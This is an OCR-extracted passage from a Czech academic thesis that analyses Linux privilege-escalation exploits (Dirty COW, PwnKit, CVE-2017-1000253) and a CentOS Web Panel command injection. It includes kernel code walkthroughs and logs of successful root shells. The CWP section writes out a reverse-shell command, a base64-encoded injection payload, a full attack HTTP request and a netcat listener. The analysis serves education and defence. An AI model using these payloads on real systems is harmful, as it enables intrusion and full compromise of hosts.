provedeno mapovani souboru do virtudlniho adresového prostoru (dale jen VAS) procesu.
[76] Mapovani souboru je zndzornéno na obrazku 7.11.

Zasobnik

. VAS procesu

Mapovana oblast
mmap_base souboru

Hromada

. Soubor na pamétovém 4 Délka
. médiu

Pocatecni posun

Obrézek 7.11: Mapovani souboru pomoci mmap. Prevzato ze zdroje [76]

Systémové volani mmap vraci virtualn{ adresu, na které bylo mapovani vytvoreno. Sou-
bor byl otevien pouze pro ¢teni a mapované stranky je tedy nutné oznacit také pouze
pro ¢teni pomoci priznaku PROT__READ. Priznakem MAP_ PRIVATE zajistime copy-on-
write sémantiku. [12]

Technika copy-on-write je napiiklad vyuzivana pri vytvareni nového procesu. Rodicov-
sky a synovsky proces mohou sdilet stejné stranky. Pri modifikaci je stranka zkopirovana
a data jsou zapsdna az do kopie stranky. Na obrazku 7.12 jsou uvedeny dva procesy, které
sdili stejné stranky. [40]
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Fyzickd pamét

Proces A Proces B

4,—» Stranka X I
e ‘—,7_

| swinkez |, |

Obrézek 7.12: Sdileni stranek mezi procesy A a B. Pievzato ze zdroje [40]

Pri modifikaci stranky Z procesem A je stranka zkopirovana a nasledné je provedena mo-
difikace. Nemodifikované stranky jsou dale sdileny. Stav po modifikaci stranky je zozbrazen
na obrazku 7.13.

Fyzicka pamét

Proces A Proces B

—,—> Stranka X
S B

—_ |
—

Obrézek 7.13: Modifikace stranky Z procesem A. Prevzato ze zdroje [40]

Udalost ¢. 2

Vytvoreni vldkna madviseTrhead a procselfmem Thread.

Udalost ¢. 3

Ve vlakné procselfmemThread je otevien pseudosoubor /proc/self/mem. Pomoci tohoto
pseudosouboru je mozné pristupovat k VAS procesu.

Udalost ¢. 4

Pomoci funkce lseck je nastaven ukazatel do souboru na pociteéni adresu mapovanych
stranek souboru. [5]
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Udalost ¢. 5

Volani funkce write vede na volani funkce mem_ rw. Pomoci funkce get__free_page je
alokovana pamét urc¢end pro vymeénu dat mezi volajicim a cilovym procesem. Do paméti
cilového procesu probiha zapis.

static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)

page = (char *)__get_free_page(GFP_TEMPORARY) ;
if (!page)
return -ENOMEM;

Vypis 7.12: Cast funkce mem__rw. Pievzato ze zdroje [3].

Pomoci funkce copy_from__user jsou zkopirovana data z uzivatelské vyrovnavaci pameéti
buf do vyménné paméti.

static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)

if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;

Vypis 7.13: Cast funkce mem__rw. Pievzato ze zdroje [3].

Udalost ¢. 6

Funkce access remote__vm slouzi pro zapis dat do VAS cilového procesu a dale vold funkci
___get_user_pages, ktera slouzi pro nalezeni a pripojeni stranek cilového procesu do VAS
jadra.

Udalost ¢. 7

Funkce _ get user pages prijimé priznaky gup flags. Tyto priznaky obsahuji informace
o tom, pro¢ a jakym zpusobem chce proces pristupovat ke strankam cilového procesu nebo
je naopak ziskat.

Udalost ¢. 8

Funkce follow page mask provede pokus o nalezeni stranky ve VAS cilového procesu na
adrese start s priznaky foll flags.

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
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struct vm_area_struct **vmas, int *nonblocking)

while (!(page = follow_page_mask(vma, start,
foll_flags, &page_mask))) {

Vypis 7.14: Cast funkce get__user__pages. Prevzato ze zdroje [3].

Udalost ¢. 9

Stranka je ziskavana za tcCelem zapisu, coz je vyjadieno piiznakem FOLL_WRITE ve
foll_flags. Stranka je ale uréena pouze pro ¢teni a funkce follow page mask vrati hodnotu
NULL.

Udalost ¢. 10

Ve snaze ziskat stranku je volana funkce handle mm_ fault zodpovédna za TeSeni chyb
stranek. Mapovand oblast je uréena pouze ke ¢teni a handle_mm__fault vytvori pomoci
funkce do__wp_ page COW (copy on write) stranku pro adresu, kam bude proveden zapis.
Vytvorend stranka je oznacena jako soukroma a sSpinavi. Odtud tedy nazev exploitu dirty
COw.

Udalost ¢. 11

Ve funkci _ get user_pages je detekovana operace COW a z priznaku foll flags je od-
stranén priznak FOLL__WRITE, coz znamené, ze dalsi pristup ke strance bude proveden
za Ucelem Cteni. Po odstranéni priznaku by funkce follow page mask predpokladala, ze
se jednd o pristup pouze ke ¢teni a ziskala by nové vytvorenou COW stranku. Pred vola-
nim funkce follow page__mask dojde k prepnuti kontextu a dojde k dlasi udalosti v jiném
vldkné. Odstranéni priznaku je uvedeno ve vypise 7.15.

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
foll_flags &= ~FOLL_WRITE;

Vypis 7.15: Cast funkce get__user__pages. Prevzato ze zdroje [3].

Udalost ¢. 12

Ve vlakné madviseThread je volana funkce madvise s parametrem MADV_DONTNEED,
coz zpusobi zahozeni nové vytvorené COW stranky.
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Udalost ¢. 13

Nové vytvorend COW stranka neni nalezena v paméti a funkce follow page mask opét
vrati hodnotu NULL.

Udalost ¢. 14

Funkce handle_mm__ fault ziska stranku svazanou s mapovanym privilegovanym souborem,
protoze diky odstranénému priznaku FOLL__WRITE uz se nejednd o pristup pro zapis.

Udalost ¢. 15

Funkci follow page mask se podari ziskat stranku a je dokoncena funkce _ get wuser-
__pages.

Udalost ¢. 16

Ve funkci access _remote__vm je proveden zapis do stranky svazané s privilegovanym sou-
borem.

static int __access_remote_vm(struct task_struct *tsk,
struct mm_struct *mm, unsigned long addr,
void *buf, int len, int write)

maddr = kmap(page) ;
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap (page) ;

Vypis 7.16: Cast funkce access__remote__vm. Prevzato ze zdroje [3].

7.2.2 Pouziti exploitu

Spusténi exploitu je uvedeno na obrazku 7.14. Pfed spusténim exploitu je provedeno ovéreni
verze jadra a opravnéni. Z hodnoty UID je patrné, ze uzivatel spoustéjici exploit mé oprav-
néni user a soubor foo muze pouze ¢ist. Po spusténi exploitu jsou do terminadlu vypsany
informace o jeho pribéhu. Po dokonceni kédu exploitu je piikazem cat ovéfen uspésny
Zapis.
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[user@localhost dirty]l$ uname -msr

Linux 3.10.0-123.e17.xB6_64 x86_64

[user@localhost dirtyl$ id

uid=1000(user) gid=1000(user) groups=1000(user)
[user@localhost dirty]$ 1s -lah foo

-r-----r-- 1 root root 19 May 6 11:03 foo
[user@localhost dirtyl$ cat foo

this is not a test

[user@localhost dirty]$ gecc -pthread dirtycGw.c -o dirtycOw
[user@localhost dirty]$ ./dirtyclGw foo mBOOGEAEGEEGEEGE
mmap 7f4eZ07bfOR0

procsel fmem 15000000
madvise 0

[user@localhost dirty]$ cat foo
mEEEREEEEEEEEE0E0est
[user@localhost dirty]$

Obrézek 7.14: Usp&sné pouziti exploitu CVE-2016-5195

7.3 PwnKit (CVE-2021-4034)

Zranitelnost se nachdzi v nastroji pkexec, ktery umoznuje uzivateltim spoustét prikazy jako
privilegovany uzivatel a je zpisobena chybnym zpracovianim parametrti programu, na za-
kladé kterého jsou proménné prostied{ interpretovany jako pifkazy. Utoénikem vytvorené
proménné prostiedi poskytuji zptsob, jak spustit libovolny kéd. [13]

Zranitelné verze nastroje pkezrec jsou do verze 0.121 (kromé).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 7.8.

7.3.1 Podrobna analyza exploitu

V této kapitole je uvedena posloupnost udalosti, které vedou ke zvyseni opravnéni na troven
root. Exploit je tvoren soubory helper.c, expl.sh a fake__module.c v priloze E. Skript expl.sh
slouzi ke spusténi exploitu. Soubor helper.c spousti program pkexec zptisobem, ktery vede ke
zvyseni opravnéni. Soubor fake_module.c predstavuje zdrojovy kod knihovny, kterd zajisti
zvysSeni opravnéni. Udélosti v této kapitole se vztahuji k souborim tvoficim exploit a ke
zdrojovému koédu programu pkexec.

Udalost ¢. 1

Po spusténi skriptu expl.sh je vytvoren adresar s ndzvem GCONV_PATH=.. V adresari
GCONV__PATH=. je vytvoren soubor fake_ exe. Soubor fake_exe je oznacen jako spusti-
telny. V adresari se skriptem expl.sh, je vytvoren adresar fake exe.

Udalost ¢. 2

V adresari fake exe je vvytvoren soubor gconv-modules, ve kterém jsou uvedeny informace
potfebné pro prevod fetézce ze zdrojové znakové sady na cilovou znakovou sadu. Do souboru
je vlozen fetézec 'module INTERNAL banana// fake__module 1’ vyjadiujici, Ze pfevod na
znakovou sadu banana je proveden pomoci modulu fake_ module. Modul je umistén ve
stejné slozce jako soubor gconv-modules.
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435
436
437
534
535
536
568
569
610
611
629
630
631
632

Udalost ¢. 3

Program helper.c je pfelozen na spustitelny soubor helper. Knihovna fake module.so je
vytvorena piekladem souboru fake module.c. Knihovna je umistena v adresari fake exe.

Udalost ¢. 4

Je spustén program helper. Ve funkci main programu helper je spustén program pkexec s
prazdnym polem argumentt programu a s polem proménnych prostiedi. Pole proménnych
prostiedi a pole argumentti programu jsou pii volani funkce main umisténa vedle sebe. Pole
jsou zobrazena na obrazku 7.15.

NULL "fake_exe" "PATH=GCONV_PATH=." | "SHELL=x" | "CHARSET=banana" NULL

argv[0] envp[0] envp[1] envp[2] envp[3] envpl4]

Obrazek 7.15: RozlozZeni pole argv a envp pri spusténi programu pkexec.

Udalost ¢. 5

Je spustén program pkexec. Ve vypisu 7.17 je uveden zacatek funkce main programu pkexec.
Pole argv neobsahuje zadné fetézce, takze v proménné argc je ulozena hodnota 0. Na radku
534 je do proménné n vlozena hodnota 1 a podminka n je mensi nez argc neni splnéna,
takze cyklus for nebude ani jednou proveden. Na radku 610 je zkopirovan fetézec z pole
argu na indexu n do promenné path. Jedné se o ¢teni mimo hranice pole a ve skutec¢nosti je
kopirovan fetézec ulozen v poli envp na indexu 0. Do proménné path je tedy zkopirovan reteé-
zec fake__exe. Pri standardnim spusténi programu pkexec by v proménné path byla uloZena
cesta k programu, ktery je spoustén s pravy jiného uzivatele. Na radku 629 je provedena
kontrola, zda je prvnim znakem fetézce lomitko, coz by znamenalo, Ze se jedna o absolutni
cestu k programu. Pokud se nejednd o absolutni cestu, je na radku 632 zavolina funkce
g_find_program__in__path pro ziskani absolutni cesty. Funkce prohleda adresare uvedené
v proménné prostiedi PATH a nalezne spustitelny soubor v adresati GCONV__PATH=..
Tento adresar byl vlozen do proménné PATH pfi spusténi programu. Do proménné s je
ulozen fetézec GCONV_PATH=./fake_exe. Retézec v proménné s je na fadku 639 zapsin
mimo hranice pole argv do pole envp na index 0. [77]

main (int argc, char *argv[]))

{

for (n == 1; n < (guint) argc; n++)

{
}
path = g_strdup(argv[nl);

if (path[0] != */’)
{

s = g_find_program_in_path(path);
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633 ...
639 argv[n] = path = s;
640 }

Vypis 7.17: Zacatek funkce main programu pkexec. Prevzato ze zdroje [77]

Pole argv a envp jsou zobrazena na obrazku 7.16.

NULL "GCONV_PATH=./fake_exe" | "PATH=GCONV_PATH=." | "SHELL=x" | "CHARSET=banana" NULL

argv[0] envp[0] envp[1] envp[2] envp[3] envpl4]

Obrazek 7.16: RozlozZeni pole argv a envp po modifikaci.

Udalost ¢. 6

Funkce wvalidate__environment_variable kontroluje, zda nemuze byt proménnd prostreda
zneuzita a navic kontroluje platnost této proménné. Program pkexec pokracuje ovérovanim
vSech proménnych prostfedi predanych programu. Pfi ovérovani proménné prostiedi SHELL
je na fadku 404 zjisténa neplatnd hodnota této proménné. Soubor uvedeny v proménné
SHELL se nenachézi v adreséii /etc/shells. Na fadku 408 je zavolana funkce g printerr pro
vypis chyby. Defaultnim kédovanim pro vypis chyb ve funci g printerr je UTF-8. Pii spus-
téni programu pkexec byla proménnd prostredi CHARSET nastavena na hodnotu banana.
Pri vypisu chyby musi funkce ¢ printerr prevést kédovani chybové zpravy na kédovani
banana. Pro prevod fetezce je volana funkce iconv__open. Funkce na zdkladé hodnoty v pro-
ménné prostfedi GCONV__PATH prohleda adresar fake exe a na zakladé obsahu souboru
gconv-modules vybere pro prevod knihovnu fake module.so. Proménnda GCONV__PATH
byla vytvorena diky zapisu mimo hranice pole a nachazi v poli envp na indexu 0. [26]

382 static gboolean

383 validate_environment_variable (const gchar x*key,)
384 const gchar *value)

385 {

386 ...

400 /* special case $SHELL */

401 if (g_strcmpO (key, "SHELL") == 0)

402 {

403 /* check if it’s in /etc/shells */

404 if ('is_valid_shell (value))

405 {

406 log_message (LOG_CRIT, TRUE,

407 "The value for the SHELL variable was not
408 found the /etc/shells file");

409 g_printerr ("\n"

410 "This incident has been reported.");
411 ...

412 }
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413

Vypis 7.18: Volani funkce g_ printerr. Pfevzato ze zdroje [77].

Udalost ¢. 7

P1i nac¢teni knihovny jsou volanim funkci setuid, setgid a setegid zvysena opravnéni na
daroven root a nasledné je aktualni proces nahrazen procesem programu sh, ktery je spustén
s opravnénim root.

7.3.2 Pouziti exploitu

Spusténi exploitu je uvedeno na obrazku 7.17. Pfed spusténim exploitu je provedeno ovéreni
verze nastroje pkerec a opravnéni. Z hodnoty UID je patrné, ze uzivatel spoustéjici exploit
ma opravnéni user. Po dokonceni exploitu je ziskano opravnéni root a hodnota UID je rovna
0.

[user@localhost PwnKit]$ pkexec --version

pkexec version 0.112

[user@localhost PwnKitl$ id

uid=1000(user) gid=1000(user) groups=1000(user)

[user@localhost PwnKit]$ ./expl.sh

Pwned!

sh-4.2# id

uid=0(root) gid=0(root) groups=0(root),lOE0(user)
sh-4.2#

Obrézek 7.17: Usp&sné pouziti exploitu CVE-2021-4034

7.4 Exploit aplikace Centos Web Panel 7 (CVE-2022-44877)

Exploit vyuziva zranitelnosti ve skriptu login.php aplikace CWP (Centos Web Panel) 7 ve
verzich do 0.9.8.1147 (kromsé). Utoénik muze pii odesléni pozadavku na pifhlageni vlozit
libovolny prikaz opera¢niho systému do hodnoty parametru login, pricemz pri prijmu tohoto
pozadavku aplikaci CWP je prikaz proveden operacnim systémem s opravnénim uzivatele,
pod kterym je aplikace CWP spusténa. [14] [62]

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 9.8. [13]

V této kapitole je uveden popis aplikace Centos Web Panel a dale je vysvétlen pojem
reverzni shell.

7.4.1 Centos Web Panel

Aplikace Centos Web Panel slouzi pro spravu serveru prostiednictvim grafického uziva-
telského rozhrani zobrazeného ve webovém prohlizeci. Mezi nejvyznaméjsi funkce aplikace
pat¥i napriklad: [34]

o sprava databazi
« volba preferovaného webového serveru (Apache, NGINX, ...)
e sprava DNS ziaznamu

e prizptsobeni zalohovani systému
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7.4.2 Shell

Shell je program slouzici jako rozhrani mezi uzivatelem a operac¢nim systémem. Pati{ mezi
typ programi oznacované jako interprety. Shell pracuje ve smycce naznacené na obrazku
7.18. [20]

Precteni pfikazu.

Ny
g -

Provedeni pfikazu.

Zobrazeni

i Interpretace
VyzZvy.

pfikazu.

Obrézek 7.18: Cinnost programu shell. P¥evzato ze zdroje [20]

Po ptijmu ptikazu je provedena interpretace prikazu a nasledné je piikaz proveden. Po
provedeni prikazu c¢eka shell na dalsi prikazy.
7.4.3 Reverzni shell

Reverzni shell je uveden na obrazku 7.19.

Neni pouzit reverzni shell

Utoénik zahajuje
A (655 ) spojeni
shell i

Firewall

Je pouzit reverzni shell
A Cil zahajuje
) spojeni Com—
C

Obrézek 7.19: Reverzni shell. Prevzato ze zdroje [18]

Utoénik Cil

3
]

Reverzni shell je vytvoren provedenim néasledujici sekvence kroku: [18]
 Utocnik vytvoif na konkrétnim portu posluchace.

 Utocnik odesle na cilovy systém payload, pficemz payload je skodlivy kéod. [21]
e Cilovy systém odesle na systém utoc¢nika pozadavek o pripojeni k posluchaci.

o Utocnik ziskd po vytvofeni spojeni piistup do cilového systému.
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7.4.4 Podrobna analyza exploitu

Dekédovéani zdrojového kédu aplikace je nelegdlni. [62] V priloze F je uveden PHP skript,
ktery je odhadovanou podobou aplikace.

P1i zaslani pozadavku se spravnym prihlasovacim jménem je zavolana funkce escape-
shellarg. Tato funkce vlozi jednoduché uvozovky na zaCitek a konec Tetézce a existujici
jednoduché uvozovky nahradi zastupnymi retézci. Takto upraveny retézec je mozné predat
funkci exec nebo system. Po provedeni funkce escapeshellarg je proveden pokus o zapis Te-
tézce do souboru pomoci funkce system. Na zacatek a konec tohoto zapisovaného Fetézce
jsou vloZeny uvozovky, coz zpusobi spusténi prikazu obsazeného v hodnoté parametru login.
28]

7.4.5 Pouziti exploitu

7 duvodu komplikaci pfi instalaci zranitelné verze aplikace CWP byl proveden utok na
PHP skript popsany v kapitole 7.4.4. V této kapitole jsou uvedeny kroky, které je treba
provést, aby byl utok uspésny.

Krok ¢. 1
Vytvoreni piikazu vytvarejicho reverzni shell:

sh -1 >& /dev/tcp/10.0.2.7/9001 0>&1

Vypis 7.19: Prikaz vytvarejici reverzni shell

Volba -i spusti program shell v interaktivnim rezimu. [24]

Soubor /dev/tcp/10.0.2.7/9001 predstavuje TCP spojeni. Cteni ze souboru predstavuje
¢teni z TCP spojeni a zapis do souboru predstavuje zapis do TCP spojeni. Pti zapisu je
vytvoreno TCP spojeni na IP adresu 10.0.2.7 a port 9001. [9] [17]

Retézcem >& je provedeno presmérovani standardntho vystupu a standardniho chybo-
vého vystupu programu shell do souboru /dev/tcp/10.0.2.7/9001. Retézcem 0>&1 je du-
plikovan deskriptor souboru standardniho vstupu tak, aby odpovidal deskriptoru souboru
standardniho vystupu. Standardni vstup programu shell je tedy presmérovan na soubor
/dev/tcp/10.0.2.7/9001. Vysledné presmérovani standardnich vystupt a vstupu programu
shell je zndzornéno na obrazku 7.20. [2]

standardni
vstup

standardni
vystup

=I /devitcp/10.0.2.7/9001

standardni
chybovy vystup|

Obrazek 7.20: Presmérovani vystupu a vstupu do souboru predstavujiciho TCP
spojeni.
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Krok ¢. 2

Zakdédovani prikazu vytvarejiciho reverzni shell do formatu base64:

echo -n ’sh -i >& /dev/tcp/10.0.2.7/9001 0>&1’ | base64
Vypis 7.20: Zakédovani prikazu do formatu base64

Vysledny retézec ve forméatu base64 vznikly zakédovanim piikazu:

c2gglWkgPiYgl.2R1di90Y3AvMTAuMC4yL jcvOTAWMSAwWPiYx
Vypis 7.21: Zakédovany vyraz do formatu base64

Krok ¢. 3

Vytvoreni fetézce, ktery bude pouzit jako hodnota parametru login. Tento Fetézec predsta-
vuje skodlivy payload odeslany na cilovy systém:

$ (echo${IFS}c2ggLWkgPiYgL2R1di90Y3AvMTAUMC4yL j cvOTAWMSAWPiYx${IFS} |
${IFS}vaseb64${IFS}-d${IFS} | ${IFS}sh)

Vypis 7.22: Skodlivy payload

Krok ¢. 4

Vytvoreni pozadavku na prihlaseni, jehoz soucasti bude skodlivy payload vytvoreny v pred-
chozim kroku.

POST /cwp-vuln-sim.php?login=$(echo${IFS}
c2ggLWkgPiYgL2R1di90Y3AvMTAUMC
4yLjcvOTAWMSAwPiYx${IFS}|
${IFS}base64${IFS}-d${IFS}|${IFS}Ish) HTTP/1.1
Host: 10.0.2.9:8181

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application
/xml;q=0.9,image/avif, image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 39

Origin: http://10.0.2.9:8181

Connection: keep-alive

Referer: http://10.0.2.9:8181/cwp-vuln-sim.php?
login=$(echo${IFS}
c2ggLWkgPiYgL2R1di90Y3AVMTAUMC
4yLjcvOTAWMSAwPiYx${IFS}|
${IFS}base64${IFS}-d${IFS}|${IFS}sh)

Upgrade-Insecure-Requests: 1

username=root&password=toor&login=Login

Vypis 7.23: Pozadavek na prihlaseni
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Krok ¢. 5

Eskalace opravnéni na troven root na cilovém systému, kde je spustén zranitelny php skript.
Pr1i Gispésném provedeni itoku bude moci ttoénik pouzit reverzni shell k provadéni prikaza
s opravnénim uzivatele root na cilovém systému.

Krok ¢. 6
Spusténi posluchace v systému ttocnika.

nc —nvlp 9001
Vypis 7.24: Spusténi posluchace

Piikaz nc (Netcat) slouzi pro ¢teni nebo zapis z/do sitovych spojeni s pouzitim protokolu
TCP nebo UDP. [31]

Krok ¢. 7
Spuséni PHP serveru na cilovém systému.

php —S 10.0.2.9:8181 cwp—vuln—sim.php
Vypis 7.25: Spusténi PHP serveru

Krok ¢. 8

Odeslani pozadavku na cilovy systém. Pozadavek je odeslan aplikaci Burp Suite dostupné
v opera¢nim systému Kali Linux. Pfi pfijeti je vytvofen reverzni shell. V systému ttoc¢nika
je mozné spoustét prikazy na cilovém systému.

Na obrazku 7.21 je uvedeno spusténi nastroje Netcat, odeslani pozadavku pomoci pro-
gramu Burp Suite a vytvoreny reverzni shell, ve kterém je pomoci prikazu id provedeno
ovéfeni opravnéni uzivatele root. Utoénik tedy miiZe na cilovém systému provadét pifkazy
s opravnénim root.

kali@kali: ~
Request

Raw Hex n = File Actions Edit View Help

1 POST /owp-vuln-sim.php?login=
§lechos{IFS}c2gglwkgPiYgl 2Rl di ey 3AvMT AUMCAYL] cvOT AwMSAWP1Y x$ {IFS} | ${IFSHh
asebd§{IFSt-d${IFS} | ${IFStbash) HTTP/1.1
Host: 10.0.2,9:8181
User-Agent: Mozilla/5.8 (X11: Linux xB86_G4; rv:182.0) Gecko/20108101
Firefox/102. 0
Accept:
text/html, application/xhtml+xml,application/xml;g=0.9, image/avif, image/web
p.*/¥g=0.8 i ot) gid=0(root) groups=0(root)
Accept -Language: en-US,en;g=0.5 i I
Accept -Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://10.0.2.9:8181
10 Connection: keep-alive
11 Referer:
http://10,0,2,9:8181/cwp-vuln-sim, php*login=%(echo${IFS}c2aglWkgPiYgL2RL d1
9EY3AVMT AUMCAy L] cvOT AwMSAwPLYx §{IFS} | §{IFSIbase64f{IFS}-d§{IFS} | ${IFS}Tbash

w

71 from (UNKNOWN) [10.0.2.9] 53005

IS

@ ~ @

w

1
12 Upgrade-Insecure-Requests: 1
13

14 username=root&password=toor&login=Login

Obrazek 7.21: Spusténi nastroje Netcat, odeslani pozadavku pomoci programu
Burp Suite a vytvoreny reverzni shell, ve kterém je pomoci prikazu id provedeno
ovéreni opravnéni uzivatele root.
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7.5 Stfet zdsobniku - (CVE-2017-1000253)

Zranitelnost je zpusobena funkci load__elf _binary, kterd nealokuje dostatek mista ptri mapo-
vani binarniho souboru do paméti. Pti pridélovani adres shora dold a povolené funkci CON-
FIG ARCH BINFMT ELF RANDOMIZE PIFE jsou nékteré segmenty PT_LOAD bi-
narniho souboru PIE (Position Independent Executable) namapoviany nad adresu mm-
>mmap__base do prostoru v paméti, ktery ma slouzit jako mezera mezi binarnim souborem
a zasobnikem. [13] [76] [15]

Binarni soubor PIE je pti kazdém spusténi namapovan do jiné oblasti paméti a nejsou
predem znamy napiiklad adresy funkci v paméti.

Zranitelné jsou verze jadra od 2.6.25 (véetné) do 3.2.70 (kromé), od 3.3 (véetné) do
3.4.109 (kromé), od 3.5 (véetné) do 3.10.77 (kromé), od 3.11 (v¢etné) do 3.12.43 (kromé),
od 3.13 (véetné) do 3.14.41 (kromé), od 3.15 (véetné) do 3.16.35 (kromé), od 3.17 (vcetné)
do 3.18.14 (kromé), od 3.19 (v€etné) do 3.19.7 (kromé), od 4.0 (véetné) do 4.0.2 (krome).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 7.8.

7.5.1 Strucni analyza exploitu

Koéd exploitu uvedeny v priloze G prijmé jako argument binarni soubor pouzity pro kolizi
se zasobnikem. Pro provedeni utoku byl zvolen binarni soubor ping uvedeny na obrazku
7.22. [39]

Stack

smashed .dynamic

ping

ping

Obrazek 7.22: Mapovani binarniho souboru ping do oblasti zasobniku. Prevzato
ze zdroje [39]

P1i provedeni exploitu je zasobnik rozsiten tak, aby se prekryval s namapovanym bi-

narnim souborem. Rozsifeni zadsobniku je dosazeno prostienictvim souboru ld.so, ktery na
zasobniku alokuje pamét pro kazdou nezndmou volbu, ktera se nachazi v proménné prostiedi
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LD DEBUG. Do sekce .dynamic binarniho souboru je vlozen odkaz na retézec obsahujici
cestu ke knihovné, kterou méa exploit spustit a dosdhnout tak zvyseni opravnéni. [52]

7.5.2 Pouziti exploitu

Po spusténi se exploit pokousi o dosazeni pozadovaného prekryvu binarniho souboru se
zasobnikem. Tento proces miize trvat nékolik hodin, takze byl vypis na obrazku 7.23 zkracen
zapisem tii tecek.

[user@localhost Desktopl$ uname -msr

Linux 3.10.0-514.21.2.el7.xB6_64 xB6_64

[user@localhost Desktopl$ ./cve-2017-1000253-exploit /usr/bin/ping
argv_size 101903

smash_size 36864

hi smash _size 18432

lo_smash_size 18432

probability 1/16028

try 1 1.309849 exited 2

try 2 1.057508 exited 2
try 3 1.080084 exited 2
try 4 1.069042 exited 2
try 5 1.070841 exited 2

try 3414 1.061916 exited 2
try 3415 1.011066 exited 2
try 3416 1.025864 exited 2
try 3417 1.038867 exited 2

Pid: 5230
Uid: 10606 10606 1060
Gid: 1060 1060 1060

CapInh: G00OGEEEEEEOEECE
CapPrm: 00006CECC0003060
CapEff: 00006CEC00000G00

Obrézek 7.23: Usp&sné pouziti exploitu CVE-2017-1000253

Po tspésném provedeni exploitu je zobrazen vypis schopnosti procesu, identifikatory
uzivatele a skupiny a identifikdtor procesu. Misto vypisu identifikdtori a schopnosti by
bylo mozné provést libovolny koéd s opravnénim uzivatele root v piipadé, ze by binarni
soubor ping byl SUID binarnim souborem.
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Kapitola 8
Zaver

V uvodnich kapitolach jsou uvedeny informace potfebné pro snazsi pochopeni detailni ana-
lyzy exploiti. Nasledujici kapitoly byly vénovany témattm kybernetické bezpecnosti, které
s exploity souvisi. V posledni kapitole se nachazi detailni analyza exploit.

Pro provedeni detailni analyzy exploiti bylo nutné nastudovat architekturu operacniho
systému Linux, moznosti jeho ladéni, ¢innost procesoru pii vykonavani programu a také
obecné souvisejici pojmy, mezi které patri virtualni pamét procesu, proces, vlakno, rozlozeni
paméti procesu. Pro pochopeni funkce vsech analyzovanych exploitii bylo zasadni pochopit
funkei tradi¢niho modelu opravnéni opera¢niho systému Linux.

Pr1i analyze exploitu CVE-2014-3153 byl vytvoren SystemTap skript, diky kterému bylo
pri provadéni exploitu mozné sledovat obsah paméti a také operace provadéné jadrem ope-
racniho systému pii spusténi exploitu. Bylo také nutné nastudovat funkci synchroniza¢niho
mechanizmu oznacovaného jako futex a souvisejici zdrojové kédy jadra.

Pri analyze exploitu CVE-2016-5195 byl také vytvoren SystemTap skript pro ucely
ladéni jadra a sledovani volanych funkci a provadénych operaci béhem spusténi exploitu.
Dale bylo nutné nastudovat zdrojové kédy jadra souvisejici se zapisem dat do virtualni
paméti procesu a s tim souvisejici ochranu paméti.

Pri analyze exploitu CVE-2021-4034 bylo nutné ¢astecné nastudovat zdrojovy kéd né-
stroje pkexec. Dilezité bylo také pochopeni funkce iconv__open, kterd hrala zasadni roli pri
uspésném provedeni exploitu.

Pri analyze exploitu CVE-2022-44877 bylo nutné zjistit informace o aplikaci Centos
Web Panel, které se zranitelnost tykala. Byly zjistény informace o dostupnych néstrojich v
opera¢nim systému Kali Linux, pficemz pro utok byl vybran néastroj Burp Suite. Dale bylo
nutné pochopit pojmy jako je reverzni shell, shell, HI'TP pozadavek, pfesmérovani vstupu
a vystupt a zakladni syntaxi jazyka PHP.

Analyza posledniho exploitu CVE-2017-1000253 byla znac¢né komplikovana a je tedy
provedena jen jeho stru¢na analyza. K pochopeni exploitu bylo nutné nastudovat virtualni
pamét procesu a jeji rozlozeni a bylo nutné pochopit vyznam PIE binarniho souboru.

7 detailni analyzy exploitt vyplyva, ze zdanlivé malé chyby v kédu aplikace mohou
mit vazné bezpecnostni dusledky. Tyto malé chyby mohou v kone¢ném diusledku zpusobit
ziskani opravnéni root v systému nebo zapis do souboru urc¢eného pouze pro ¢teni, ktery je
navic vlastnén jinym uzivatelem.

Na zakladé této prace by bylo mozné pokrac¢ovat analyzou dalsich exploittl zamérenych
na operac¢ni systém CentOS 7 a jeho aplikace. Dal$i moznosti by mohla byt detailnéjsi
analyza exploitu CVE-2017-1000253 a dalsich exploitd podobného typu. Déle by také mohly
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byt analyzovany exploity jinych operac¢nich systémil nebo aplikaci které byly v prubéhu této
prace zminény.
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Priloha A

Exploit CVE-2014-3153

Kéd exploitu je dostupny na adrese uvedené ve zdroji [50].
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Priloha B

SystemTap skript CVE-2014-3153

global bugged_waiter_ptr;
global 1i;

i
#include <linux/uio.h>
#include <kernel/rtmutex_common.h>
#include <linux/plist.h>
#include <linux/types.h>
#include <linux/time.h>

void __print_iter_waiter(struct plist_node *iter)

{
char node_list_addr_buf[] = KERN_INFO "node_list addr: %p\n";
char prio_list_addr_buf[] = KERN_INFO "prio_list addr: %p\n";
char prio_buf[] = KERN_INFO "prio: %d\n";
char node_list_prev_buf[] = KERN_INFO "node_list_prev: %p\n";
char node_list_next_buf[] = KERN_INFO "node_list_next: %p\n";
char prio_list_prev_buf[] = KERN_INFO "prio_list_prev: %p\n";
char prio_list_next_buf[] = KERN_INFO "prio_list_next: %p\n";
printk ("**x\n") ;
printk(prio_buf, iter->prio);
printk(node_list_prev_buf, iter->node_list.prev);
printk(node_list_next_buf, iter->node_list.next);
printk(prio_list_prev_buf, iter->prio_list.prev);
printk(prio_list_next_buf, iter->prio_list.next);
printk(node_list_addr_buf, &iter->node_list);
printk(prio_list_addr_buf, &iter->prio_list);
printk ("**x\n") ;

}

h}

function __get_plist_node_size()

W
